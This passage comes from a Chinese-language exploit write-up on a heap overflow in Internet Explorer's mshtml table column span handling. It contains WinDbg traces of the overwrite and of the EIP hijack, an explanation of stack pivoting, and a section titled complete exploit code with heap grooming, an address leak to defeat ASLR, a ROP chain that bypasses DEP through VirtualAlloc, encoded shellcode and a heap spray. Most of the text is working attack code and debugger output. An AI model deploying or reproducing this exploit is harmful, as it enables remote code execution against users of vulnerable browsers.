8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<400; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}
function smash_vtable(){
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}
这里中间是用了大量的填充数据。我们接着调试,先把前面的断点全部取消了,然后在最初的mshtml!CTableLayout::CalculateMinMax下个断点,运行。然后在 mshtml!CTableCol::GetAAspan和mshtml!CTableCol::GetAAspan下断点,第一个是为了查看获取的span,第二个就是漏洞点也是复制的地方。 在mshtml!CTableCol::GetAAspan函数中我们可以看到获取的span就是最后的eax为0x2c=44,是我们之前要求输入的值。
0:012> bp mshtml!CTableCol::GetAAspan
0:012> bp mshtml!CTableColCalc::AdjustForCol
0:012> g
Breakpoint 0 hit
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b1d esp=0290c6e4 ebp=0290c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan:
3db98b1d 8bff mov edi,edi
0:012> p
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b1f esp=0290c6e4 ebp=0290c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0x2:
3db98b1f 55 push ebp
0:012> p
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b20 esp=0290c6e0 ebp=0290c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0x3:
3db98b20 8bec mov ebp,esp
0:012> p
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b22 esp=0290c6e0 ebp=0290c6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0x5:
3db98b22 51 push ecx
0:012> p
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b23 esp=0290c6dc ebp=0290c6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0x6:
3db98b23 56 push esi
0:012> p
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b24 esp=0290c6d8 ebp=0290c6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0x7:
3db98b24 ff700c push dword ptr [eax+0Ch] ds:0023:04830bb4=04918f80
0:012> p
eax=04830ba8 ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b27 esp=0290c6d4 ebp=0290c6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0xa:
3db98b27 8d45fc lea eax,[ebp-4]
0:012> p
eax=0290c6dc ebx=04773188 ecx=0000002b edx=00000009 esi=04f4ba14 edi=04830ba8
eip=3db98b2a esp=0290c6d4 ebp=0290c6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0xd:
3db98b2a be2097ae3d mov esi,offset mshtml!s_propdescCTableColspan (3dae9720)
0:012> p
eax=0290c6dc ebx=04773188 ecx=0000002b edx=00000009 esi=3dae9720 edi=04830ba8
eip=3db98b2f esp=0290c6d4 ebp=0290c6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CTableCol::GetAAspan+0x12:
3db98b2f e8f84bfcff call mshtml!CAttrArray::FindSimple (3db5d72c)
0:012> p
eax=00000001 ebx=04773188 ecx=00000002 edx=0474a4a8 esi=3dae9720 edi=04830ba8
eip=3db98b34 esp=0290c6d8 ebp=0290c6e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableCol::GetAAspan+0x17:
3db98b34 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0290c6dc=0000002c
0:012> p
eax=0000002c ebx=04773188 ecx=00000002 edx=0474a4a8 esi=3dae9720 edi=04830ba8
eip=3db98b37 esp=0290c6d8 ebp=0290c6e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTableCol::GetAAspan+0x1a:
3db98b37 5e pop esi
再运行g,来到mshtml!CTableColCalc::AdjustForCol,循环次数是控制在[ebp-14h],然后和[ebp+10h]比较,就是和2c比。
3dd0fad1 e8e1371900 call mshtml!CTableColCalc::AdjustForCol (3dea32b7)
3dd0fad6 ff45ec inc dword ptr [ebp-14h] ss:0023:0290c778=00000000
3dd0fad9 8b45ec mov eax,dword ptr [ebp-14h]
3dd0fadc 8345dc1c add dword ptr [ebp-24h],1Ch
3dd0fae0 3b4510 cmp eax,dword ptr [ebp+10h]
3dd0fae3 7caf jl mshtml!CTableLayout::CalculateMinMax+0x514 (3dd0fa94)
0:012> dd ebp+10
0290c79c 0000002c 00000000 04773188 04773188
0290c7ac 0290cbe8 001f2428 0000043f 00000000
0290c7bc ffffffff 00000000 00000000 0290cbe8
0290c7cc 00000000 00000000 ffffffff 00000000
0290c7dc 18e19ac6 00000000 00000000 00160000
直接跳到最后循环完,可以看到B堆的头又被覆盖成了0x07070024
0:012> db 04f4b918 l1000
04f4b918 24 00 07 07 24 00 07 07-24 00 07 07 00 00 00 00 $...$...$.......
04f4b928 45 00 45 00 41 00 45 00-48 02 70 70 24 00 07 07 E.E.A.E.H.pp$...
04f4b938 24 00 07 07 24 00 07 07-00 00 00 00 45 00 45 00 $...$.......E.E.
04f4b948 41 00 45 00 48 02 70 70-24 00 07 07 24 00 07 07 A.E.H.pp$...$...
04f4b958 24 00 07 07 00 00 00 00-45 00 45 00 41 00 45 00 $.......E.E.A.E.
04f4b968 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4b978 00 00 00 00 45 00 45 00-41 00 45 00 48 02 70 70 ....E.E.A.E.H.pp
04f4b988 24 00 07 07 24 00 07 07-24 00 07 07 00 00 00 00 $...$...$.......
04f4b998 45 00 45 00 41 00 45 00-48 02 70 70 24 00 07 07 E.E.A.E.H.pp$...
04f4b9a8 24 00 07 07 24 00 07 07-00 00 00 00 45 00 45 00 $...$.......E.E.
04f4b9b8 41 00 45 00 48 02 70 70-24 00 07 07 24 00 07 07 A.E.H.pp$...$...
04f4b9c8 24 00 07 07 00 00 00 00-45 00 45 00 41 00 45 00 $.......E.E.A.E.
04f4b9d8 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4b9e8 00 00 00 00 45 00 45 00-41 00 45 00 48 02 70 70 ....E.E.A.E.H.pp
04f4b9f8 24 00 07 07 24 00 07 07-24 00 07 07 00 00 00 00 $...$...$.......
04f4ba08 45 00 45 00 41 00 45 00-48 02 70 70 24 00 07 07 E.E.A.E.H.pp$...
04f4ba18 24 00 07 07 24 00 07 07-fa 00 00 00 41 00 41 00 $...$.......A.A.
04f4ba28 41 00 41 00 48 02 70 70-24 00 07 07 24 00 07 07 A.A.H.pp$...$...
04f4ba38 24 00 07 07 41 00 41 00-41 00 41 00 41 00 41 00 $...A.A.A.A.A.A.
04f4ba48 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4ba58 41 00 41 00 41 00 41 00-41 00 41 00 48 02 70 70 A.A.A.A.A.A.H.pp
04f4ba68 24 00 07 07 24 00 07 07-24 00 07 07 41 00 41 00 $...$...$...A.A.
04f4ba78 41 00 41 00 41 00 41 00-48 02 70 70 24 00 07 07 A.A.A.A.H.pp$...
04f4ba88 24 00 07 07 24 00 07 07-41 00 41 00 41 00 41 00 $...$...A.A.A.A.
04f4ba98 41 00 41 00 48 02 70 70-24 00 07 07 24 00 07 07 A.A.H.pp$...$...
04f4baa8 24 00 07 07 41 00 41 00-41 00 41 00 41 00 41 00 $...A.A.A.A.A.A.
04f4bab8 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bac8 41 00 41 00 41 00 41 00-41 00 41 00 48 02 70 70 A.A.A.A.A.A.H.pp
04f4bad8 24 00 07 07 24 00 07 07-24 00 07 07 41 00 41 00 $...$...$...A.A.
04f4bae8 41 00 41 00 41 00 41 00-48 02 70 70 24 00 07 07 A.A.A.A.H.pp$...
04f4baf8 24 00 07 07 24 00 07 07-41 00 41 00 41 00 41 00 $...$...A.A.A.A.
04f4bb08 41 00 41 00 48 02 70 70-24 00 07 07 24 00 07 07 A.A.H.pp$...$...
04f4bb18 24 00 07 07 41 00 00 00-fc dc 5c ee 00 01 08 ff $...A.....\.....
04f4bb28 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bb38 42 00 42 00 42 00 42 00-42 00 42 00 48 02 70 70 B.B.B.B.B.B.H.pp
04f4bb48 24 00 07 07 24 00 07 07-24 00 07 07 42 00 42 00 $...$...$...B.B.
04f4bb58 42 00 42 00 42 00 42 00-48 02 70 70 24 00 07 07 B.B.B.B.H.pp$...
04f4bb68 24 00 07 07 24 00 07 07-42 00 42 00 42 00 42 00 $...$...B.B.B.B.
04f4bb78 42 00 42 00 48 02 70 70-24 00 07 07 24 00 07 07 B.B.H.pp$...$...
04f4bb88 24 00 07 07 42 00 42 00-42 00 42 00 42 00 42 00 $...B.B.B.B.B.B.
04f4bb98 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bba8 42 00 42 00 42 00 42 00-42 00 42 00 48 02 70 70 B.B.B.B.B.B.H.pp
04f4bbb8 24 00 07 07 24 00 07 07-24 00 07 07 42 00 42 00 $...$...$...B.B.
04f4bbc8 42 00 42 00 42 00 42 00-48 02 70 70 24 00 07 07 B.B.B.B.H.pp$...
04f4bbd8 24 00 07 07 24 00 07 07-42 00 42 00 42 00 42 00 $...$...B.B.B.B.
04f4bbe8 42 00 42 00 48 02 70 70-24 00 07 07 24 00 07 07 B.B.H.pp$...$...
04f4bbf8 24 00 07 07 42 00 42 00-42 00 42 00 42 00 42 00 $...B.B.B.B.B.B.
04f4bc08 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bc18 42 00 42 00 42 00 42 00-42 00 42 00 48 02 70 70 B.B.B.B.B.B.H.pp
04f4bc28 24 00 07 07 24 00 07 07-24 00 07 07 20 3a 56 04 $...$...$... :V.
04f4bc38 c0 7a 71 04 18 81 c8 3d-48 02 70 70 24 00 07 07 .zq....=H.pp$...
04f4bc48 24 00 07 07 24 00 07 07-00 00 00 00 00 00 00 00 $...$...........
04f4bc58 00 00 00 00 48 02 70 70-24 00 07 07 24 00 07 07 ....H.pp$...$...
04f4bc68 24 00 07 07 00 00 00 00-00 00 00 00 00 00 00 00 $...............
04f4bc78 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bc88 00 00 00 00 00 00 00 00-00 00 00 00 48 02 70 70 ............H.pp
04f4bc98 24 00 07 07 24 00 07 07-24 00 07 07 00 00 00 00 $...$...$.......
04f4bca8 00 00 00 00 00 00 00 00-48 02 70 70 24 00 07 07 ........H.pp$...
04f4bcb8 24 00 07 07 24 00 07 07-00 00 00 00 e0 bc f4 04 $...$...........
04f4bcc8 00 00 00 00 48 02 70 70-24 00 07 07 24 00 07 07 ....H.pp$...$...
04f4bcd8 24 00 07 07 01 00 00 00-00 00 00 00 00 00 00 00 $...............
04f4bce8 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bcf8 ff ff ff ff ff ff ff ff-ff ff ff ff 48 02 70 70 ............H.pp
04f4bd08 24 00 07 07 24 00 07 07-24 00 07 07 00 00 00 00 $...$...$.......
04f4bd18 00 00 00 00 00 00 00 00-48 02 70 70 24 00 07 07 ........H.pp$...
04f4bd28 24 00 07 07 24 00 07 07-3e dc 5c ee 00 01 0c ff $...$...>.\.....
04f4bd38 04 10 00 00 48 02 70 70-24 00 07 07 24 00 07 07 ....H.pp$...$...
04f4bd48 24 00 07 07 41 00 45 00-48 00 01 00 04 10 00 00 $...A.E.H.......
04f4bd58 48 02 70 70 24 00 07 07-24 00 07 07 24 00 07 07 H.pp$...$...$...
04f4bd68 41 00 45 00 48 00 01 00-04 10 00 00 48 02 70 70 A.E.H.......H.pp
04f4bd78 24 00 07 07 24 00 07 07-24 00 07 07 41 00 45 00 $...$...$...A.E.
04f4bd88 48 00 01 00 04 10 00 00-48 02 70 70 24 00 07 07 H.......H.pp$...
04f4bd98 24 00 07 07 24 00 07 07-41 00 45 00 48 00 01 00 $...$...A.E.H...
04f4bda8 04 10 00 00 48 02 70 70-24 00 07 07 24 00 07 07 ....H.pp$...$...
04f4bdb8 24 00 07 07 41 00 45 00-48 00 01 00 04 10 00 00 $...A.E.H.......
04f4bdc8 48 02 70 70 04 10 00 00-00 00 00 00 45 00 45 00 H.pp........E.E.
04f4bdd8 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H...........
04f4bde8 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
04f4bdf8 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4be08 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H...
04f4be18 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4be28 45 00 45 00 41 00 45 00-48 00 01 00 45 00 00 00 E.E.A.E.H...E...
04f4be38 5f dc 5c ee 00 01 08 ff-fa 00 00 00 41 00 41 00 _.\.........A.A.
04f4be48 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be58 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be68 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:012> dd 04f4bc30
04f4bc30 07070024 04563a20 04717ac0 3dc88118
04f4bc40 70700248 07070024 07070024 07070024
04f4bc50 00000000 00000000 00000000 70700248
04f4bc60 07070024 07070024 07070024 00000000
并且可以在后面的代码中找到利用它的地方。最后一句call就是。
0:012> ub mshtml!NotifyElement+0x38
mshtml!NotifyElement+0x29:
3db2930f 8bc7 mov eax,edi
3db29311 e803170400 call mshtml!CElement::CurrentlyHasAnyLayout (3db6aa19)
3db29316 85c0 test eax,eax
3db29318 0f84a8111500 je mshtml!NotifyElement+0x39 (3dc7a4c6)
3db2931e 8b4f24 mov ecx,dword ptr [edi+24h]
3db29321 8b01 mov eax,dword ptr [ecx]
3db29323 56 push esi
3db29324 ff5008 call dword ptr [eax+8]
我们已经成功的劫持了eip,使它能运行到我们想要的位置,最后就是利用堆喷把shellcode和rop喷到07070024的位置,rop中调用了VirtualProtect函数来绕过DEP,实现攻击。
栈转移
在写ROP链的时候还要注意一点是当前的ROP信息是在堆空间上的,而ROP技术中碎片地址和参数是要布局到栈上的,这样才能借住ret指令控制程序的流程。所以我们还需要利用栈转移技术,也就是把这里的堆地址写入到esp寄存器中,这样程序就会认为我们的ROP信息是保存在栈空间中的。这里我们可以用xchg eax,esp来实现。
完整利用代码
(这里的偏移地址和ROP链视操作系统而定)
<html>
<body>
<div id="test"></div>
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
//spray
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="1" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="2" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="3" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="4" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="5" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="6" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="7" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="8" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="9" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="10" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="11" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="12" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="13" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="14" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="15" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="16" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="17" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="18" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="19" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="20" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="21" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="22" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="23" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="24" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="25" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="26" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="27" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="28" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="29" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="30" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="31" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="32" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="33" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="34" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="35" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="36" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="37" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="38" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="39" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="40" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="41" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="42" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="43" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="44" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="45" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="46" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="47" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="48" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="49" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="50" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="51" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="52" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="53" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="54" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="55" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="56" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="57" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="58" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="59" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="60" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="61" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="62" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="63" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="64" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="65" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="66" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="67" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="68" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="69" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="70" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="71" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="72" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="73" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="74" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="75" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="76" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="77" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="78" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="79" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="80" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="81" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="82" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="83" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="84" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="85" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="86" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="87" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="88" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="89" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="90" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="91" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="92" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="93" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="94" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="95" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="96" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="97" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="98" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="99" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="100" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="101" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="102" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="103" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="104" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="105" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="106" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="107" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="108" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="109" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="110" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="111" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="112" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="113" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="114" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="115" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="116" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="117" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="118" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="119" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="120" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="121" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="122" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="123" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="124" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="125" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="126" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="127" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="128" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="129" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="130" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="131" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
alert(1);
var obj_col = document.getElementById("132");
obj_col.span = 19;
function over_trigger() {
var leak_addr = -1;
for ( var i = 0; i < 500; i++ ) {
if ( arr[i].length > (0x100-6)/2 ) { // overflowed
leak_index = i;
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x00207f78);
alert(mshtmlbase);
break;
}
}
if ( leak_addr == -1 || leak_index == -1 ) { alert("memory leak failed...."); }
//return mshtmlbase;
}
// A very special heap spray
function heap_spray(){
CollectGarbage();
var heapobj = new Object();
// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}
function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(heapobj, tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}
heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;
